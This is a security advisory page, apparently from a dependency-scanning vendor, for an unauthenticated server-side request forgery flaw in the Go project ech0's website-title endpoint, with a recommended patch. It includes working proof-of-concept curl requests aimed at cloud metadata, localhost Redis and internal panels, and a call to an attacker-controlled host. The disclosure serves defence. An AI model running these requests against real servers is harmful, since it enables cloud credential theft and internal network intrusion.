GHSA-cqgf-f4x7-g6wc — ech0
HIGHGHSA-cqgf-f4x7-g6wc is a high-severity (CVSS 7.2) Server-Side Request Forgery (SSRF) vulnerability in github.com/lin-snow/ech0. A fix is available for github.com/lin-snow/ech0 — see the affected versions and patch details below.
Ech0: Unauthenticated SSRF in GetWebsiteTitle allows access to internal services and cloud metadata
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
- CISA assesses this as automatable — exploitation doesn’t require manual, per-target effort, which raises the odds of mass scanning and opportunistic attacks.
Exploitation and automatability from CISA’s SSVC triage for GHSA-cqgf-f4x7-g6wc.
EPSS Exploitation Probability
EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.
How urgent is this, really
GHSA-cqgf-f4x7-g6wc plotted by exploitation likelihood (EPSS) against impact (CVSS). The shaded corner — EPSS 50%+ and CVSS 7.0+ — is where this CVE doesn't sit, though severity or exploitability alone can still warrant action.
Where this sits among everything scored
Of 379,145 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Real counts from FIRST.org, not a sample — log-scaled since the landscape is heavily right-skewed.
Real-World Exposure
github.com/lin-snow/ech0Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects Go packages — download data is not available via public APIs for these ecosystems.
Description
Summary
The GET /api/website/title endpoint accepts an arbitrary URL via the website_url query parameter and makes a server-side HTTP request to it without any validation of the target host or IP address. The endpoint requires no authentication. An attacker can use this to reach internal network services, cloud metadata endpoints (169.254.169.254), and localhost-bound services, with partial response data exfiltrated via the HTML <title> tag extraction.
Details
The vulnerability exists in the interaction between four components:
1. Route registration — no authentication (internal/router/common.go:11):
appRouterGroup.PublicRouterGroup.GET("/website/title", h.CommonHandler.GetWebsiteTitle())
The PublicRouterGroup is created at internal/router/router.go:34 as r.Group("/api") with no auth middleware attached (unlike AuthRouterGroup which uses JWTAuthMiddleware).
2. Handler — no input validation (internal/handler/common/common.go:106-127):
func (commonHandler *CommonHandler) GetWebsiteTitle() gin.HandlerFunc {
return res.Execute(func(ctx *gin.Context) res.Response {
var dto commonModel.GetWebsiteTitleDto
if err := ctx.ShouldBindQuery(&dto); err != nil { ... }
title, err := commonHandler.commonService.GetWebsiteTitle(dto.WebSiteURL)
...
})
}
The DTO (internal/model/common/common_dto.go:155-156) only enforces binding:"required" — no URL scheme or host validation.
3. Service — TrimURL is cosmetic (internal/service/common/common.go:122-125):
func (s *CommonService) GetWebsiteTitle(websiteURL string) (string, error) {
websiteURL = httpUtil.TrimURL(websiteURL)
body, err := httpUtil.SendRequest(websiteURL, "GET", httpUtil.Header{}, 10*time.Second)
...
}
TrimURL (internal/util/http/http.go:16-26) only calls TrimSpace, TrimPrefix("/"), and TrimSuffix("/"). No SSRF protections.
4. HTTP client — unrestricted outbound request (internal/util/http/http.go:53-84):
client := &http.Client{
Timeout: clientTimeout,
Transport: &http.Transport{
TLSClientConfig: &tls.Config{
InsecureSkipVerify: true,
},
},
}
req, err := http.NewRequest(method, url, nil)
...
resp, err := client.Do(req)
The client follows redirects (Go default), skips TLS verification, and has no restrictions on target IP ranges.
The response body is parsed for <title> tags and the extracted title is returned to the attacker, providing a data exfiltration channel for any response containing HTML title elements.
PoC
Step 1: Probe cloud metadata endpoint (AWS)
curl -s 'http://localhost:8080/api/website/title?website_url=http://169.254.169.254/latest/meta-data/'
If the Ech0 instance runs on AWS EC2, the server will make a request to the instance metadata service. While the metadata response is not HTML, this confirms network reachability.
Step 2: Probe internal localhost services
curl -s 'http://localhost:8080/api/website/title?website_url=http://127.0.0.1:6379/'
Probes for Redis on localhost. Connection success/failure and error messages reveal internal service topology.
Step 3: Exfiltrate data from internal web services with HTML title tags
curl -s 'http://localhost:8080/api/website/title?website_url=http://internal-admin-panel.local/'
If the internal service returns an HTML page with a <title> tag, its content is returned to the attacker.
Step 4: Confirm with a controlled external server
# On attacker machine:
python3 -c "from http.server import HTTPServer, BaseHTTPRequestHandler
class H(BaseHTTPRequestHandler):
def do_GET(self):
self.send_response(200)
self.send_header('Content-Type','text/html')
self.end_headers()
self.wfile.write(b'<html><head><title>SSRF-CONFIRMED</title></head></html>')
HTTPServer(('0.0.0.0',9999),H).serve_forever()" &
# From any client:
curl -s 'http://<ech0-host>:8080/api/website/title?website_url=http://<attacker-ip>:9999/'
Expected response contains "data":"SSRF-CONFIRMED", proving the server made an outbound request to the attacker-controlled URL.
Impact
- Cloud credential theft: An attacker can reach cloud metadata services (AWS IMDSv1 at
169.254.169.254, GCP, Azure) to steal IAM credentials, API tokens, and instance configuration data. - Internal network reconnaissance: Port scanning and service discovery of internal hosts that are not directly accessible from the internet.
- Localhost service interaction: Access to services bound to
127.0.0.1(databases, caches, admin panels) that rely on network-level isolation for security. - Firewall bypass: The server acts as a proxy, allowing attackers to bypass network ACLs and reach otherwise-protected internal infrastructure.
- Data exfiltration: Partial response content is leaked through the
<title>tag extraction. While limited, this is sufficient to extract sensitive data from services that return HTML responses.
The attack requires no authentication and can be performed by any anonymous internet user with network access to the Ech0 instance.
Recommended Fix
Add URL validation in GetWebsiteTitle to block requests to private/reserved IP ranges and restrict allowed schemes. In internal/service/common/common.go:
import (
"net"
"net/url"
)
func isPrivateIP(ip net.IP) bool {
privateRanges := []string{
"127.0.0.0/8",
"10.0.0.0/8",
"172.16.0.0/12",
"192.168.0.0/16",
"169.254.0.0/16",
"::1/128",
"fc00::/7",
"fe80::/10",
}
for _, cidr := range privateRanges {
_, network, _ := net.ParseCIDR(cidr)
if network.Contains(ip) {
return true
}
}
return false
}
func (s *CommonService) GetWebsiteTitle(websiteURL string) (string, error) {
websiteURL = httpUtil.TrimURL(websiteURL)
// Validate URL scheme
parsed, err := url.Parse(websiteURL)
if err != nil || (parsed.Scheme != "http" && parsed.Scheme != "https") {
return "", errors.New("only http and https URLs are allowed")
}
// Resolve hostname and block private IPs
host := parsed.Hostname()
ips, err := net.LookupIP(host)
if err != nil {
return "", fmt.Errorf("failed to resolve hostname: %w", err)
}
for _, ip := range ips {
if isPrivateIP(ip) {
return "", errors.New("requests to private/internal addresses are not allowed")
}
}
body, err := httpUtil.SendRequest(websiteURL, "GET", httpUtil.Header{}, 10*time.Second)
// ... rest unchanged
}
Additionally, consider:
- Removing
InsecureSkipVerify: truefromSendRequestininternal/util/http/http.go:69 - Disabling redirect following in the HTTP client (
CheckRedirectreturninghttp.ErrUseLastResponse) or re-validating the target IP after each redirect to prevent DNS rebinding - Adding rate limiting to this endpoint
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐹Go | github.com/lin-snow/ech0 | all versions | 1.4.8-0.20260401031029-4ca56fea5ba4go get github.com/lin-snow/ech0@v1.4.8-0.20260401031029-4ca56fea5ba4 |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for github.com/lin-snow/ech0, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update github.com/lin-snow/ech0 to 1.4.8-0.20260401031029-4ca56fea5ba4 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-cqgf-f4x7-g6wc is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 Security's impact-aware SCA analyses which vulnerable code paths your application actually calls, so a match like GHSA-cqgf-f4x7-g6wc can be triaged on real exposure rather than presence alone.
Tailored to GHSA-cqgf-f4x7-g6wc. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
How to detect GHSA-cqgf-f4x7-g6wc
A community-maintained Nuclei template exists for this CVE. You can scan for it directly:
nuclei -id ghsa-cqgf-f4x7-g6wc -u https://target- Template
- Ech0 < 4.2.8 - Server-Side Request Forgery
- Severity
- high
Template by ProjectDiscovery nuclei-templates (fineman999), MIT licensed. View the full template. Scan only systems you are authorised to test.
Frequently Asked Questions
Is GHSA-cqgf-f4x7-g6wc in your dependencies?
O3 Security finds GHSA-cqgf-f4x7-g6wc across Go dependencies, including transitive ones, and its impact-aware SCA ranks findings by whether your code actually calls the vulnerable path.